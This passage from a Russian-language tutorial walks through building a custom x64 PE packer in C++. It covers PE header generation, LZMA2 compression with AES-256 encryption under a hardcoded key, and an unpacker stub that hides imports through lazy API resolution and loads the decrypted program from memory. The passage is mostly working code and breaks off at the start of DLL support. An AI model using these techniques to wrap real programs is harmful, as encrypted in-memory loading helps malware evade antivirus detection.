    in_pe_nt_header->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
bool isDLL = in_pe_nt_header->FileHeader.Characteristics & IMAGE_FILE_DLL;
bool isNET = in_pe_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size != 0;

После добавления проверки и дополнительных действий код упаковщика должен выглядеть так:

C++:Copy to clipboard

// packer.cpp
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <vector>

using namespace std;

// Macros
#define BOOL_STR(b) b ? "true" : "false"
#define CONSOLE_COLOR_DEFAULT   SetConsoleTextAttribute(hConsole, 0x09);
#define CONSOLE_COLOR_ERROR     SetConsoleTextAttribute(hConsole, 0x0C);

int main(int argc, char* argv[])
{
    // Setup Console
    HANDLE  hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTitle("Custom x64 PE Packer by H.M v1.0");
    FlushConsoleInputBuffer(hConsole);
    CONSOLE_COLOR_DEFAULT;

    // Validate Arguments Count
    if (argc != 3) return EXIT_FAILURE;

    // User Inputs
    char* input_pe_file     = argv[1];
    char* output_pe_file    = argv[2];

    // Reading Input PE File
    ifstream input_pe_file_reader(argv[1], ios::binary);
    vector<uint8_t> input_pe_file_buffer(istreambuf_iterator<char>(input_pe_file_reader), {});
    
    // Parsing Input PE File
    PIMAGE_DOS_HEADER in_pe_dos_header = (PIMAGE_DOS_HEADER)input_pe_file_buffer.data();
    PIMAGE_NT_HEADERS in_pe_nt_header =  (PIMAGE_NT_HEADERS)(input_pe_file_buffer.data() + in_pe_dos_header->e_lfanew);
    
    // Validte PE Infromation
    bool isPE  = in_pe_dos_header->e_magic == IMAGE_DOS_SIGNATURE;
    bool is64  = in_pe_nt_header->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 &&
                 in_pe_nt_header->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
    bool isDLL = in_pe_nt_header->FileHeader.Characteristics & IMAGE_FILE_DLL;
    bool isNET = in_pe_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size != 0;

    // Log Validation Data
    printf("[Validation] Is PE File : %s\n", BOOL_STR(isPE));
    printf("[Validation] Is 64bit : %s\n", BOOL_STR(is64));
    printf("[Validation] Is DLL : %s\n", BOOL_STR(isDLL));
    printf("[Validation] Is COM or .Net : %s\n", BOOL_STR(isNET));

    // Validate and Apply Action
    if (!isPE)
    {
        CONSOLE_COLOR_ERROR;
        printf("[Error] Input PE file is invalid. (Signature Mismatch)\n");
        return EXIT_FAILURE;
    }
    if (!is64)
    {
        CONSOLE_COLOR_ERROR;
        printf("[Error] This packer only supports x64 PE files.\n");
        return EXIT_FAILURE;
    }
    if (isNET)
    {
        CONSOLE_COLOR_ERROR;
        printf("[Error] This packer currently doesn't support .NET/COM assemblies.\n");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

Упаковщик: разработка PE-генератора

Хорошо, теперь, когда мы знаем, что наш входной PE-файл правильный, пришло время создать генератор пустого PE-файла. Для этого мы будем использовать WinAPI.

Создаём DOS-Header

Каждый PE-файл начинается с DOS-заголовка, который содержит сигнатуру или адрес таблицы релокаций, адрес в файле нового заголовка. Для создания DOS- заголовка нам нужно заполнить структуру IMAGE_DOS_HEADER следующими значениями:

C++:Copy to clipboard

// Initializing Dos Header
IMAGE_DOS_HEADER    dos_h;
memset(&dos_h, NULL, sizeof IMAGE_DOS_HEADER);
dos_h.e_magic       = IMAGE_DOS_SIGNATURE;
dos_h.e_cblp        = 0x0090;
dos_h.e_cp          = 0x0003;
dos_h.e_crlc        = 0x0000;
dos_h.e_cparhdr     = 0x0004;
dos_h.e_minalloc    = 0x0000;
dos_h.e_maxalloc    = 0xFFFF;
dos_h.e_ss          = 0x0000;
dos_h.e_sp          = 0x00B8;
dos_h.e_csum        = 0x0000; // Checksum
dos_h.e_ip          = 0x0000;
dos_h.e_cs          = 0x0000;
dos_h.e_lfarlc      = 0x0040;
dos_h.e_ovno        = 0x0000;
dos_h.e_oemid       = 0x0000;
dos_h.e_oeminfo     = 0x0000;
dos_h.e_lfanew      = 0x0040; // Address of the NT Header

Создаём NT-Header

После того, как мы создали DOS-Header, следующий заголовок должен быть NT- Header, который содержит всю важную информацию о файле:
- Сигнатруа
- Файловый заголовок
- Опциональные заголовки

Они объединены в одной структуре IMAGE_NT_HEADERS и мы просто заполняем её следующими значениями:

C++:Copy to clipboard

// Initializing Nt Header
IMAGE_NT_HEADERS    nt_h;
memset(&nt_h, NULL, sizeof IMAGE_NT_HEADERS);
nt_h.Signature                                          = IMAGE_NT_SIGNATURE;
nt_h.FileHeader.Machine                                 = IMAGE_FILE_MACHINE_AMD64;
nt_h.FileHeader.NumberOfSections                        = 2;
nt_h.FileHeader.TimeDateStamp                           = 0x00000000; // Must Update
nt_h.FileHeader.PointerToSymbolTable                    = 0x0;
nt_h.FileHeader.NumberOfSymbols                         = 0x0;
nt_h.FileHeader.SizeOfOptionalHeader                    = 0x00F0;
nt_h.FileHeader.Characteristics                         = 0x0022;     // Must Update
nt_h.OptionalHeader.Magic                               = IMAGE_NT_OPTIONAL_HDR64_MAGIC;
nt_h.OptionalHeader.MajorLinkerVersion                  = 10;
nt_h.OptionalHeader.MinorLinkerVersion                  = 0x05;
nt_h.OptionalHeader.SizeOfCode                          = 0x00000200; // Must Update
nt_h.OptionalHeader.SizeOfInitializedData               = 0x00000200; // Must Update
nt_h.OptionalHeader.SizeOfUninitializedData             = 0x0;
nt_h.OptionalHeader.AddressOfEntryPoint                 = 0x00001000; // Must Update
nt_h.OptionalHeader.BaseOfCode                          = 0x00001000;
nt_h.OptionalHeader.ImageBase                           = 0x0000000140000000;
nt_h.OptionalHeader.SectionAlignment                    = 0x00001000;
nt_h.OptionalHeader.FileAlignment                       = 0x00000200;
nt_h.OptionalHeader.MajorOperatingSystemVersion         = 0x0;
nt_h.OptionalHeader.MinorOperatingSystemVersion         = 0x0;
nt_h.OptionalHeader.MajorImageVersion                   = 0x0006;
nt_h.OptionalHeader.MinorImageVersion                   = 0x0000;
nt_h.OptionalHeader.MajorSubsystemVersion               = 0x0006;
nt_h.OptionalHeader.MinorSubsystemVersion               = 0x0000;
nt_h.OptionalHeader.Win32VersionValue                   = 0x0;
nt_h.OptionalHeader.SizeOfImage                         = 0x00003000; // Must Update
nt_h.OptionalHeader.SizeOfHeaders                       = 0x00000200;
nt_h.OptionalHeader.CheckSum                            = 0xFFFFFFFF; // Must Update
nt_h.OptionalHeader.Subsystem                           = IMAGE_SUBSYSTEM_WINDOWS_CUI;
nt_h.OptionalHeader.DllCharacteristics                  = 0x0120;
nt_h.OptionalHeader.SizeOfStackReserve                  = 0x0000000000100000;
nt_h.OptionalHeader.SizeOfStackCommit                   = 0x0000000000001000;
nt_h.OptionalHeader.SizeOfHeapReserve                   = 0x0000000000100000;
nt_h.OptionalHeader.SizeOfHeapCommit                    = 0x0000000000001000;
nt_h.OptionalHeader.LoaderFlags                         = 0x00000000;
nt_h.OptionalHeader.NumberOfRvaAndSizes                 = 0x00000010;

IMAGE_NT_HEADERS зависит от архитектуры процессора, которую вы установили в свойствах проекта. В это статье мы работаем с IMAGE_NT_HEADERS64.

Click to expand...

Создание секций

Теперь у нас есть DOS-Header и NT-Header. Единственное, что осталось - секции! Секции содержат свои данные в PE-файле, у них тоже есть заголовки. Поэтому нам нужно инициализировать заголовки, а затем записать данные по соответствующим смещениям. Для создания заголовков используем структуру IMAGE_SECTION_HEADER:

C++:Copy to clipboard

// Initializing Section [ Code ]
IMAGE_SECTION_HEADER    c_sec;
memset(&c_sec, NULL, sizeof IMAGE_SECTION_HEADER);
c_sec.Name[0] = '[';
c_sec.Name[1] = ' ';
c_sec.Name[2] = 'H';
c_sec.Name[3] = '.';
c_sec.Name[4] = 'M';
c_sec.Name[5] = ' ';
c_sec.Name[6] = ']';
c_sec.Name[7] = 0x0;
c_sec.Misc.VirtualSize                  = 0x00001000;   // Virtual Size
c_sec.VirtualAddress                    = 0x00001000;   // Virtual Address
c_sec.SizeOfRawData                     = 0x00000600;   // Raw Size
c_sec.PointerToRawData                  = 0x00000200;   // Raw Address
c_sec.PointerToRelocations              = 0x00000000;   // Reloc Address
c_sec.PointerToLinenumbers              = 0x00000000;   // Line Numbers
c_sec.NumberOfRelocations               = 0x00000000;   // Reloc Numbers
c_sec.NumberOfLinenumbers               = 0x00000000;   // Line Numbers Number
c_sec.Characteristics                   = IMAGE_SCN_MEM_EXECUTE   |
    IMAGE_SCN_MEM_READ    |
    IMAGE_SCN_CNT_CODE    ;

// Initializing Section [ Data ]
IMAGE_SECTION_HEADER    d_sec;
memset(&d_sec, NULL, sizeof IMAGE_SECTION_HEADER);
d_sec.Name[0] = '[';
d_sec.Name[1] = ' ';
d_sec.Name[2] = 'H';
d_sec.Name[3] = '.';
d_sec.Name[4] = 'M';
d_sec.Name[5] = ' ';
d_sec.Name[6] = ']';
d_sec.Name[7] = 0x0;
d_sec.Misc.VirtualSize                  = 0x00000200;   // Virtual Size
d_sec.VirtualAddress                    = 0x00002000;   // Virtual Address
d_sec.SizeOfRawData                     = 0x00000200;   // Raw Size
d_sec.PointerToRawData                  = 0x00000800;   // Raw Address
d_sec.PointerToRelocations              = 0x00000000;   // Reloc Address
d_sec.PointerToLinenumbers              = 0x00000000;   // Line Numbers
d_sec.NumberOfRelocations               = 0x00000000;   // Reloc Numbers
d_sec.NumberOfLinenumbers               = 0x00000000;   // Line Numbers Number
d_sec.Characteristics                   = IMAGE_SCN_CNT_INITIALIZED_DATA |
    IMAGE_SCN_MEM_READ;

Создание PE-файла

Отлично! Теперь всё готово и мы можем записать PE-файл на диск, для этого используйте код:

C++:Copy to clipboard

// Create/Open PE File
fstream pe_writter;
pe_writter.open(output_pe_file, ios::binary | ios::out);

// Write DOS Header
pe_writter.write((char*)&dos_h, sizeof dos_h);

// Write NT Header
pe_writter.write((char*)&nt_h, sizeof nt_h);

// Write Headers of Sections
pe_writter.write((char*)&c_sec, sizeof c_sec);
pe_writter.write((char*)&d_sec, sizeof d_sec);

// Add Padding
while (pe_writter.tellp() != c_sec.PointerToRawData) pe_writter.put(0x0);

// Write Code Section
pe_writter.put(0xC3); // Empty PE Return Opcode
for (size_t i = 0; i < c_sec.SizeOfRawData - 1; i++) pe_writter.put(0x0);

// Write Data Section
for (size_t i = 0; i < d_sec.SizeOfRawData; i++) pe_writter.put(0x0);

// Close PE File
pe_writter.close();

Теперь запустите упаковщик и смотрите на магию!
02_pe_packer_tutorial_packer_chapter1_vs16_x64.zip

Упаковщик: основная часть

Ок, теперь у нас есть парсер и генератор, пришло время создать сам упаковщик. Для выполнения этой задачи будем используем fast-lzma2 для сжатия и AES-256 для шифрования. После запишем данные в файл.

Я выбрал fast-lzma2 для сжатия, потому что он быстрый и имеет хороший коэффициент сжатия. Вы можете использовать zlib или любую другую библиотеку.

Click to expand...

Добавление необходимых библиотек

1. Клонируйте fast-lzma2 и добавьте в свой проект, используя статическую линковку;
2. Клонируйте tiny-aes-c и добавьте в свой проект.

Также вы можете использовать tiny-aes-c, рассмотренный в первой части статьи.

Добавьте библиотечные заголовки:

C++:Copy to clipboard

// Encryption Library
extern "C"
{
    #include "aes.h"
}

// Compression Library
#include "lzma2\fast-lzma2.h"
#pragma comment(lib, "lzma2\\fast-lzma2.lib")

Сжатие/кодирование данных

И, наконец, мы упаковываем и шифруем файл следующим образом:

C++:Copy to clipboard

// <----- Packing Data ( Main Implementation ) ----->
printf("[Information] Initializing AES Cryptor...\n");
struct AES_ctx ctx;
const unsigned char key[32] = {
    0xD6, 0x23, 0xB8, 0xEF, 0x62, 0x26, 0xCE, 0xC3, 0xE2, 0x4C, 0x55, 0x12,
    0x7D, 0xE8, 0x73, 0xE7, 0x83, 0x9C, 0x77, 0x6B, 0xB1, 0xA9, 0x3B, 0x57,
    0xB2, 0x5F, 0xDB, 0xEA, 0x0D, 0xB6, 0x8E, 0xA2
};
const unsigned char iv[16] = {
    0x18, 0x42, 0x31, 0x2D, 0xFC, 0xEF, 0xDA, 0xB6, 0xB9, 0x49, 0xF1, 0x0D,
    0x03, 0x7E, 0x7E, 0xBD
};
AES_init_ctx_iv(&ctx, key, iv);

printf("[Information] Initializing Compressor...\n");
FL2_CCtx* cctx = FL2_createCCtxMt(8);
FL2_CCtx_setParameter(cctx, FL2_p_compressionLevel, 9);
FL2_CCtx_setParameter(cctx, FL2_p_dictionarySize, 1024);

vector<uint8_t> data_buffer;
data_buffer.resize(input_pe_file_buffer.size());

printf("[Information] Compressing Buffer...\n");
size_t original_size = input_pe_file_buffer.size();
size_t compressed_size = FL2_compressCCtx(cctx, data_buffer.data(), data_buffer.size(),
                                          input_pe_file_buffer.data(), original_size, 9);
data_buffer.resize(compressed_size);

// Add Padding Before Encryption
for (size_t i = 0; i < 16; i++) data_buffer.insert(data_buffer.begin(), 0x0);
for (size_t i = 0; i < 16; i++) data_buffer.push_back(0x0);

printf("[Information] Encrypting Buffer...\n");
AES_CBC_encrypt_buffer(&ctx, data_buffer.data(), data_buffer.size());

// Log Compression Information
printf("[Information] Original PE Size :  %ld bytes\n", input_pe_file_buffer.size());
printf("[Information] Packed PE Size   :  %ld bytes\n", data_buffer.size());

// Calculate Compression Ratio
float ratio =
    (1.0f - ((float)data_buffer.size() / (float)input_pe_file_buffer.size())) * 100.f;
printf("[Information] Compression Ratio : %.2f%%\n", (roundf(ratio * 100.0f) * 0.01f));

Запись данных в файл и обновление выравниваний

Теперь нам нужно записать упакованные данные в созданный файл. Выполните следующие действия:

1. Добавьте эти макросы в глобальную область видимости:

C++:Copy to clipboard

#define file_alignment_size         512   // Default Hard Disk Block Size (0x200)
#define memory_alignment_size       4096  // Default Memory Page Size (0x1000)

2. Добавьте эти функции в глобальную область видимости:

C++:Copy to clipboard

inline DWORD _align(DWORD size, DWORD align, DWORD addr = 0)
{
    if (!(size % align)) return addr + size;
    return addr + (size / align + 1) * align;
}

Выравнивание - это очень важная операция при работе с PE-файлами, изучить её очень полезно!

3. Обновите код, используя выравнивание:

C++:Copy to clipboard

nt_h.OptionalHeader.SectionAlignment                    = memory_alignment_size;
nt_h.OptionalHeader.FileAlignment                       = file_alignment_size;

C++:Copy to clipboard

d_sec.Misc.VirtualSize          = _align(data_buffer.size(), memory_alignment_size);
d_sec.VirtualAddress            = c_sec.VirtualAddress + c_sec.Misc.VirtualSize;
d_sec.SizeOfRawData             = _align(data_buffer.size(), file_alignment_size);
d_sec.PointerToRawData          = c_sec.PointerToRawData + c_sec.SizeOfRawData;

C++:Copy to clipboard

// Write Data Section
size_t current_pos = pe_writter.tellp();
pe_writter.write((char*)data_buffer.data(), data_buffer.size());
while (pe_writter.tellp() != current_pos + d_sec.SizeOfRawData) pe_writter.put(0x0);

// Releasing And Finalizing
vector<uint8_t>().swap(input_pe_file_buffer);
vector<uint8_t>().swap(data_buffer);
CONSOLE_COLOR_SUCCSESS;
printf("[Information] PE File Packed Successfully.");
return EXIT_SUCCESS;

4. Соберите проект и убедитесь, что упаковщик создал корректный рабочий PE- файл, содержащий упакованные данные.
1639330738934.png

Распаковщик: реализация стаба

Отлично! Если вы всё ещё со мной, пришло время создать код распаковщика и поместить его в файл проекта. Для этого создадим стаб. Откройте файл unpacker.cpp и добавьте fast-lzma2 и tiny-aes-c, установите значения ключей. Теперь нужно добавить некоторые переменные, которые мы сможем изменять, найдя их позже по значению:

C++:Copy to clipboard

volatile PVOID data_ptr                 = (void*)0xAABBCCDD;
volatile DWORD data_size                = 0xEEFFAADD;
volatile DWORD actual_data_size         = 0xA0B0C0D0;

Почему ключевое слово volatile? Просто... чтобы не дать компилятору оптимизировать их и одновременно сохранить оптимизацию, это беспроигрышный вариант. Код должен выглядеть так:

C++:Copy to clipboard

// unpacker.cpp (unpacker_stub project)
#include <Windows.h>

// Encryption Library
extern "C"
{
    #include "aes.h"
}

// Compression Library
#include "lzma2\fast-lzma2.h"

// WARNING : If you faced error using pragma, try adding lib file in linker settings
#pragma comment(lib, "lzma2\\fast-lzma2.lib")

// Merge Data With Code
#pragma comment(linker, "/merge:.rdata=.text")

// Entrypoint
void func_unpack()
{
    // Internal Data [ Signatures ]
    volatile PVOID data_ptr                 = (void*)0xAABBCCDD;
    volatile DWORD data_size                = 0xEEFFAADD;
    volatile DWORD actual_data_size         = 0xA0B0C0D0;
    volatile DWORD header_size              = 0xF0E0D0A0;
    
    // Initializing Resolvers
    k32_init(); crt_init();

    // Getting BaseAddress of Module
    intptr_t imageBase = (intptr_t)GetModuleHandleA(0);
    data_ptr = (void*)((intptr_t)data_ptr + imageBase);

    // Initializing Cryptor
    struct AES_ctx ctx;
    const unsigned char key[32] = {
    0xD6, 0x23, 0xB8, 0xEF, 0x62, 0x26, 0xCE, 0xC3, 0xE2, 0x4C, 0x55, 0x12,
    0x7D, 0xE8, 0x73, 0xE7, 0x83, 0x9C, 0x77, 0x6B, 0xB1, 0xA9, 0x3B, 0x57,
    0xB2, 0x5F, 0xDB, 0xEA, 0x0D, 0xB6, 0x8E, 0xA2
    };
    const unsigned char iv[16] = {
        0x18, 0x42, 0x31, 0x2D, 0xFC, 0xEF, 0xDA, 0xB6, 0xB9, 0x49, 0xF1, 0x0D,
        0x03, 0x7E, 0x7E, 0xBD
    };
    AES_init_ctx_iv(&ctx, key, iv);

    // Casting PVOID to BYTE
    uint8_t* data_ptr_byte = (uint8_t*)data_ptr;

    // Decrypting Buffer
    AES_CBC_decrypt_buffer(&ctx, data_ptr_byte, data_size);

    // Allocating Code Buffer
    uint8_t* code_buffer = (uint8_t*)malloc(actual_data_size);

    // Decompressing Buffer
    FL2_decompress(code_buffer, actual_data_size, &data_ptr_byte[16], data_size - 32);
    memset(data_ptr, 0, data_size);
}

Мы не используем многопоточную распаковку lzma2, потому что использование потоков в шелл-коде - очень плохая идея!

Click to expand...

Распаковщик: C Runtime и WinAPI Resolver

Ок, теперь, если вы попытаетесь собрать проект unpacker_stub, то столкнетесь с множеством ошибок о неразрешённых внешних символах:
1639331307604.png
Это произошло потому, что мы удалили все стандартные библиотеки, такие как msvcrt и kernel32. Но есть одно решение, которое называется Lazy Import.

Lazy Import

При "ленивом импорте" мы вызываем системные функции на лету. Чтобы использовать эту технику, вам понадобится эта удивительная библиотека, состоящая из одного заголовка от настоящего гения Justas Masiulis.
Первое, что нужно сделать - это загрузить библиотеку:

C++:Copy to clipboard

uintptr_t msvcrtLib = reinterpret_cast<uintptr_t>(LI_FIND(LoadLibraryA)(_S("msvcrt.dll")));

А затем просто вызвать функцию:

C++:Copy to clipboard

LI_GET(msvcrtLib, printf)("This is a message from dynamically loaded printf.\n");

И всё! Вы можете использовать любую библиотеку и любую функцию без каких-либо проблем в вашем файле, но проблема здесь в том, что у нас много функций в fast-lzma2, и замена всех их функцией LI_GET может занять очень много времени!

Кроме того это может вызвать множество проблем в коде библиотеки, поэтому мне пришла в голову идея: "Что, если я сделаю Resolvers"? Получилось!

Разработка Resolver

Что такое Resolver и как мы можем использовать его в качестве решения? Всё просто: мы реализуем все функции C Runtime и WinAPI внутри смоделированных msvrct.lib и kernel32.lib (можно использовать любые другие). Затем мы вызываем оригинальные функции и перенаправляем параметры в них, после возвращаем результат. Это даст нам возможность создать статическую библиотеку из любой динамической библиотеки!
Например, вот как мы реализуем memcpy :

C++:Copy to clipboard

// resolver.h
void crt_init();
void* ___memcpy(void* dst, const void* src, size_t size);

C++:Copy to clipboard

// resolver.cpp
uintptr_t msvcrtLib = 0;
#define _VCRTFunc(fn) LI_GET(msvcrtLib,fn)
void crt_init()
{
    msvcrtLib = reinterpret_cast<uintptr_t>(LI_FIND(LoadLibraryA)(_S("msvcrt.dll")));
}

// Dynamic memcpy
void* ___memcpy(void* dst, const void* src, size_t size)
{
    return _VCRTFunc(memcpy)(dst, src, size);
}

C++:Copy to clipboard

// resolver_export.cpp
#include "resolver.h"

#define RESOLVER extern "C"
RESOLVER void* __cdecl memcpy(void* dst, const void* src, size_t size)
{
    return ___memcpy(dst, src, size);
}

Чтобы уменьшить размер статьи, я не стану расписывать как разрешить все необходимые функции, сам процесс. Но вы можете легко сделать это с помощью приведенного примера кода. Также я включил предварительно собранные статические lib-файлы моих Resolvers в исходный код проекта. Сэкономите немного времени и воспользуйтесь ими.

Статическая линковка и Resolvers

При линковке не используйте pragma, вместо этого используйте свойства компоновщика:

1. Перейдите в конфигурацию проекта unpacker_stub и в разделе Компоновщик > Общие > Дополнительные каталоги библиотек измените его на ".\resolvers"

2. Перейдите в Компоновщик > Ввод > Дополнительные зависимости и добавьте "msvrcrt.lib" и "kernel32.lib"

3. Перейдите в Каталоги VC++ и очистите поля "Каталоги библиотек" и "Каталоги библиотек WinRT", чтобы избежать линковки с оригинальными библиотеками.

4. Создайте заголовки функций:

C++:Copy to clipboard

// Resolvers Functions
extern "C" void crt_init();
extern "C" void k32_init();

5. Инициализируйте Resolvers перед инициализацией шифровщика:

C++:Copy to clipboard

// Initializing Resolvers
k32_init();
crt_init();

6. Обновите объединение секций, как показано ниже:

C++:Copy to clipboard

// Merge Data With Code
#pragma comment(linker, "/merge:.rdata=.text")
#pragma comment(linker, "/merge:.data=.text")

7. Перейдите в Компоновщик> Командная строка и в Дополнительных параметрах введите "/EMITPOGOPHASEINFO /SECTION:.text,EWR":
1639332093572.png

8. Перейдите в Компоновщик > Дополнительно и измените Внесение случайности в базовый адрес на Нет (/DYNAMICBASE:NO)

9. Перейдите в Компоновщик > Дополнительно и измените Фиксированный базовый адрес на Да (/FIXED). Эта опция предотвратит создание секции релокаций, иначе код будет зависеть от стаба.

Компилируем и происходит магия... Стаб распаковщика успешно скомпилирован!

Распаковщик: Loader/Mapper

Пришло время добавить лоадер и маппер в распаковщик и закончить работать над стабом. Для этого используем библиотеку mmLoader, разработанную на чистом C.

После добавления библиотеки и файла в проект, вставьте следующий код в конец стаба распаковщика:

C++:Copy to clipboard

// PE Loader Library
#include "mmLoader.h"

...

// Loading PE File
DWORD pe_loader_result = 0;
HMEMMODULE pe_module = LoadMemModule(code_buffer, true, &pe_loader_result);

Вот так! Теперь соберите проект, и вы должны получить файл unpacker_stub.exe , который содержит только две секции:
- .text: код распаковщика
- .pdata: содержит секцию исключений, которая нам не нужна.

Извлеките данные из .text, используя CFF Explorer или Hex Editor и преобразуйте их в массив:

C++:Copy to clipboard

// unpacker_stub.h (pe_packer project)
unsigned char unpacker_stub[175104] = {
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B,
    0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,
    0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26
    ...

03_pe_packer_tutorial_packer_chapter2_vs16_x64.zip

Упаковщик: Создание стаба

Подключите unpacker_stub.h в packer.cpp сделайте следующие изменения в коде.

1. Добавляем функцию-хелпер для поиска байтов в стабе распаковщика:

C++:Copy to clipboard

#include <algorithm>

...

inline DWORD _find(uint8_t* data, size_t data_size, DWORD& value)
{
    for (size_t i = 0; i < data_size; i++)
        if (memcmp(&data[i], &value, sizeof DWORD) == 0) return i;
    return -1;
}

2. Измените заголовки секций:

C++:Copy to clipboard

// Initializing Section [ Code ]
IMAGE_SECTION_HEADER    c_sec;
memset(&c_sec, NULL, sizeof IMAGE_SECTION_HEADER);
c_sec.Name[0] = '[';
c_sec.Name[1] = ' ';
c_sec.Name[2] = 'H';
c_sec.Name[3] = '.';
c_sec.Name[4] = 'M';
c_sec.Name[5] = ' ';
c_sec.Name[6] = ']';
c_sec.Name[7] = 0x0;
c_sec.Misc.VirtualSize = _align(sizeof unpacker_stub, memory_alignment_size);
c_sec.VirtualAddress = memory_alignment_size;
c_sec.SizeOfRawData = sizeof unpacker_stub;
c_sec.PointerToRawData = file_alignment_size;
c_sec.Characteristics =
    IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ |
    IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;

// Initializing Section [ Data ]
IMAGE_SECTION_HEADER    d_sec;
memset(&d_sec, NULL, sizeof IMAGE_SECTION_HEADER);
d_sec.Name[0] = '[';
d_sec.Name[1] = ' ';
d_sec.Name[2] = 'H';
d_sec.Name[3] = '.';
d_sec.Name[4] = 'M';
d_sec.Name[5] = ' ';
d_sec.Name[6] = ']';
d_sec.Name[7] = 0x0;
d_sec.Misc.VirtualSize = _align(data_buffer.size(), memory_alignment_size);
d_sec.VirtualAddress = c_sec.VirtualAddress + c_sec.Misc.VirtualSize;
d_sec.SizeOfRawData = _align(data_buffer.size(), file_alignment_size);
d_sec.PointerToRawData = c_sec.PointerToRawData + c_sec.SizeOfRawData;
d_sec.Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA |
    IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

3. Обновите код, создающий PE-заголовки:

C++:Copy to clipboard

// Update PE Image Size
printf("[Information] Updating PE Information...\n");
nt_h.OptionalHeader.SizeOfImage =
    _align(d_sec.VirtualAddress + d_sec.Misc.VirtualSize, memory_alignment_size);

// Update PE Informations
nt_h.FileHeader.Characteristics = in_pe_nt_header->FileHeader.Characteristics;
nt_h.FileHeader.TimeDateStamp = in_pe_nt_header->FileHeader.TimeDateStamp;
nt_h.OptionalHeader.CheckSum = 0xFFFFFFFF;
nt_h.OptionalHeader.SizeOfCode = c_sec.SizeOfRawData;
nt_h.OptionalHeader.SizeOfInitializedData = d_sec.SizeOfRawData;
nt_h.OptionalHeader.Subsystem = in_pe_nt_header->OptionalHeader.Subsystem;

// Update PE Entrypoint ( Taken from .map file )
nt_h.OptionalHeader.AddressOfEntryPoint = 0x00005940;

Чтобы получить смещение EntryPoint из map-файла, просто найдите func_unpacker и вы обнаружите это смещение там. Или вы можете просто скопировать точку входа из файла unpacker_stub.exe с помощью CFF Explorer.

4. Сейчас нам нужно найти сигнатуры в стабе и пропатчить их:

C++:Copy to clipboard

// Create/Open PE File
printf("[Information] Writing Generated PE to Disk...\n");
fstream pe_writter;
pe_writter.open(output_pe_file, ios::binary | ios::out);

// Write DOS Header
pe_writter.write((char*)&dos_h, sizeof dos_h);

// Write NT Header
pe_writter.write((char*)&nt_h, sizeof nt_h);

// Write Headers of Sections
pe_writter.write((char*)&c_sec, sizeof c_sec);
pe_writter.write((char*)&d_sec, sizeof d_sec);

// Add Padding
while (pe_writter.tellp() != c_sec.PointerToRawData) pe_writter.put(0x0);

// Find Singuatures in Unpacker Stub
DWORD data_ptr_sig              = 0xAABBCCDD;
DWORD data_size_sig             = 0xEEFFAADD;
DWORD actual_data_size_sig      = 0xA0B0C0D0;
DWORD header_size_sig           = 0xF0E0D0A0;
DWORD data_ptr_offset           = _find(unpacker_stub, sizeof unpacker_stub, data_ptr_sig);
DWORD data_size_offset          = _find(unpacker_stub, sizeof unpacker_stub, data_size_sig);
DWORD actual_data_size_offset   = _find(unpacker_stub, sizeof unpacker_stub, actual_data_size_sig);
DWORD header_size_offset        = _find(unpacker_stub, sizeof unpacker_stub, header_size_sig);

// Log Singuatures Information
if (data_ptr_offset != -1)
    printf("[Information] Signature A Found at :  %X\n", data_ptr_offset);
if (data_size_offset != -1)
    printf("[Information] Signature B Found at :  %X\n", data_size_offset);
if (actual_data_size_offset != -1)
    printf("[Information] Signature C Found at :  %X\n", actual_data_size_offset);
if (header_size_offset != -1)
    printf("[Information] Signature D Found at :  %X\n", header_size_offset);

// Update Code Section
printf("[Information] Updating Offset Data...\n");
memcpy(&unpacker_stub[data_ptr_offset], &d_sec.VirtualAddress, sizeof DWORD);
memcpy(&unpacker_stub[data_size_offset], &d_sec.SizeOfRawData,  sizeof DWORD);
DWORD pe_file_actual_size = (DWORD)input_pe_file_buffer.size();
memcpy(&unpacker_stub[actual_data_size_offset], &pe_file_actual_size, sizeof DWORD);
memcpy(&unpacker_stub[header_size_offset], &nt_h.OptionalHeader.BaseOfCode, sizeof DWORD);

// Write Code Section
printf("[Information] Writing Code Data...\n");
pe_writter.write((char*)&unpacker_stub, sizeof unpacker_stub);

// Write Data Section
printf("[Information] Writing Packed Data...\n");
size_t current_pos = pe_writter.tellp();
pe_writter.write((char*)data_buffer.data(), data_buffer.size());
while (pe_writter.tellp() != current_pos + d_sec.SizeOfRawData) pe_writter.put(0x0);

// Close PE File
pe_writter.close();

Поехали, попробуем упаковщик... и... Поздравляю! Вы сделали свой первый упаковщик!
1639332609233.png
04_pe_packer_tutorial_packer_chapter3_vs16_x64.zip

Упаковщик: Поддержка динамического связывания + Создание таблицы экспорта

Сейчас наш упаковщик может сжимать EXE-файлы и создавать новый рабочий файл. Но что, если вы хотите сжать DLL-файл с его таблицей экспорта? Для этого нам нужно создать таблицу экспорта, а затем перенаправлять вызовы настоящему модулю.

Данный этап не так прост, как предыдущие части. На самом деле он очень сложен и требует железных мозгов для его разрешения. Но не волнуйтесь, я разобрал его для вас, так что давайте начнём и добавим поддержку DLL в наш упаковщик!

A) Доделываем стаб распаковщика для поддержки DLL-файлов

На данный момент стаб распаковщика не предназначен для DllMain. Нам нужно изменить его, чтобы убедиться, что он правильно пройдет процедуру инициализации и добавить два дополнительных параметра, которые будут описаны в следующем разделе.
Новый стаб должен выглядеть так:

C++:Copy to clipboard

// unpacker.cpp (unpacker_stub project)
// WinAPI Functions
#include <Windows.h>
#include <winnt.h>
EXTERN_C IMAGE_DOS_HEADER __ImageBase;

// Resolvers Functions
EXTERN_C void crt_init();
EXTERN_C void k32_init();

// Encryption Library
